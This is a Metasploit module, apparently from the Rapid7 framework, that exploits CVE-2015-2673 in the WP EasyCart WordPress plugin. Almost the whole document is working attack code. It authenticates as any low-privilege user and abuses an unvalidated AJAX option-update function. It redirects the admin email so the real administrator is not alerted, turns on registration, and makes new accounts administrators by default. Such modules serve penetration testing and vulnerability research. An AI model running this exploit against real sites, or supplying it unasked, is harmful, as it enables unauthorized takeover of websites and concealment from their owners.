WordPress WP EasyCart Plugin Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress WP EasyCart Plugin Privilege Escalation',  
'Description' => %q{  
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20 allows authenticated  
users of any user level to set any system option via a lack of validation in the  
ec_ajax_update_option and ec_ajax_clear_all_taxrates functions located in  
/inc/admin/admin_ajax_functions.php. The module first changes the admin e-mail address  
to prevent any notifications being sent to the actual administrator during the attack,  
re-enables user registration in case it has been disabled and sets the default role to  
be administrator. This will allow for the user to create a new account with admin  
privileges via the default registration page found at /wp-login.php?action=register.  
},  
'Author' => [  
'rastating' # Discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2015-2673'],  
['WPVDB', '7808'],  
['URL', 'https://rastating.github.io/wp-easycart-privilege-escalation-information-disclosure/']  
],  
'DisclosureDate' => '2015-02-25'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])  
]  
)  
end  
  
def check  
check_plugin_version_from_readme('wp-easycart', '3.0.21', '1.1.30')  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def set_wp_option(name, value, cookie)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => wordpress_url_admin_ajax,  
'vars_get' => { 'action' => 'ec_ajax_update_option' },  
'vars_post' => { 'option_name' => name, 'option_value' => value },  
'cookie' => cookie  
)  
  
if res.nil?  
vprint_error('No response from the target.')  
elsif res.code != 200  
vprint_warning("Server responded with status code #{res.code}")  
end  
  
res  
end  
  
def run  
print_status("Authenticating with WordPress using #{username}:#{password}...")  
cookie = wordpress_login(username, password)  
if cookie.nil?  
print_error('Failed to authenticate with WordPress')  
return  
end  
store_valid_credential(user: username, private: password, proof: cookie)  
print_good('Authenticated with WordPress')  
  
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"  
print_status("Changing admin e-mail address to #{new_email}...")  
if set_wp_option('admin_email', new_email, cookie).nil?  
print_error('Failed to change the admin e-mail address')  
return  
end  
  
print_status('Enabling user registrations...')  
if set_wp_option('users_can_register', 1, cookie).nil?  
print_error('Failed to enable user registrations')  
return  
end  
  
print_status('Setting the default user role...')  
if set_wp_option('default_role', 'administrator', cookie).nil?  
print_error('Failed to set the default user role')  
return  
end  
  
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')  
print_good('Privilege escalation complete')  
print_good("Create a new account at #{register_url} to gain admin access.")  
end  
end  
`